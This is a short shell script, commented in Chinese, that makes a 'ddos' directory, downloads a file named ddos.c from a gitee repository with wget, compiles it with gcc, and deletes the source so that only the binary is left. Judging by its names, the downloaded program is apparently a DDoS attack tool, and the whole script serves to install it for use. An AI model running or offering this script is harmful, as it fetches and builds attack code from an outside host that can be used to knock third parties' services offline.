#!/bin/sh

# 创建工作目录
mkdir ddos
#
cd ddos
wget https://gitee.com/zxc72/ddosy/raw/master/ddos.c

# 检查下载是否成功
if [ ! -f "ddos.c" ]; then
    echo "下载源文件失败！请检查URL"
    exit 1
fi

# 编译程序
gcc ddos.c -o ddos

# 检查编译结果
if [ -f "ddos" ]; then
    echo "编译成功！..."
    rm -f ddos.c
    echo "二进制文件：$(pwd)/ddos"
else
    echo "编译失败！保留源文件用于调试"
    exit 1
fi